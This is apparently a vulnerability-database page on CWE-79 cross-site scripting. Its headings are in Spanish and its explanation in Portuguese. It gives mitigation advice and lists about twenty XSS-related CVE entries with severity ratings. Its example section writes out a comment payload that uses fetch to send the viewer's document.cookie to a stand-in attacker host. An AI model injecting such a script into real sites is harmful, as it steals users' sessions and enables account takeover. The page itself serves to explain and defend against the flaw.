Fallos del tipo CWE-79

29.814 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-0248HIGHHCL iNotes is susceptible to a Reflected Cross-site Scripting (XSS) vulnerability,EPSS 0.4%CVE-2023-51459MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2023-51458MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-22549MEDIUMFlyCms 1.0 is vulnerable to Cross Site Scripting (XSS) in the email settings of the website settings section.EPSS 0.4%CVE-2025-0790MEDIUMESAFENET CDG doneDetail.jsp cross site scriptingEPSS 0.4%CVE-2024-27706MEDIUMCross Site Scripting vulnerability in Huly Platform v.0.6.202 allows attackers to execute arbitrary code via upload of crafted SVG file to iEPSS 0.4%CVE-2024-4433MEDIUMWordPress Simple Image Popup plugin <= 2.4.0 - Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-12845MEDIUMEmlog Pro common.php cross site scriptingEPSS 0.4%CVE-2023-29441HIGHWordPress WebLibrarian Plugin <= 3.5.8.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-29472MEDIUMOneBlog v2.3.4 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Privilege Management module.EPSS 0.4%CVE-2023-41868HIGHWordPress Stagtools Plugin <= 2.3.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-31975MEDIUMEnGenius EWS356-Fit devices through 1.1.30 allow a remote attacker to conduct stored XSS attacks via the Wi-Fi SSID parameters. JavaScript eEPSS 0.4%CVE-2026-56667HIGHZITADEL: Stored XSS via Default URI Redirect in Login V2EPSS 0.4%CVE-2024-6639MEDIUMMDx <= 2.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via mdx_list_item ShortcodeEPSS 0.4%CVE-2023-46094HIGHWordPress Conversios.io Plugin <= 6.5.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-43988MEDIUMAn issue in nature fitness saijo mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channeEPSS 0.4%CVE-2025-1592MEDIUMSourceCodester Best Employee Management System Add Role Page Role.php cross site scriptingEPSS 0.4%CVE-2025-6092MEDIUMcomfyanonymous comfyui Incomplete Fix CVE-2024-10099 image cross site scriptingEPSS 0.4%CVE-2026-33135CRITICALWeGIA has Reflected Cross-Site Scripting (XSS) in `novo_memorandoo.php` via `sccs` parameterEPSS 0.4%CVE-2025-65778HIGHAn issue was discovered in Wekan The Open Source kanban board system up to version 18.15, fixed in 18.16. Uploaded attachments can be servedEPSS 0.4%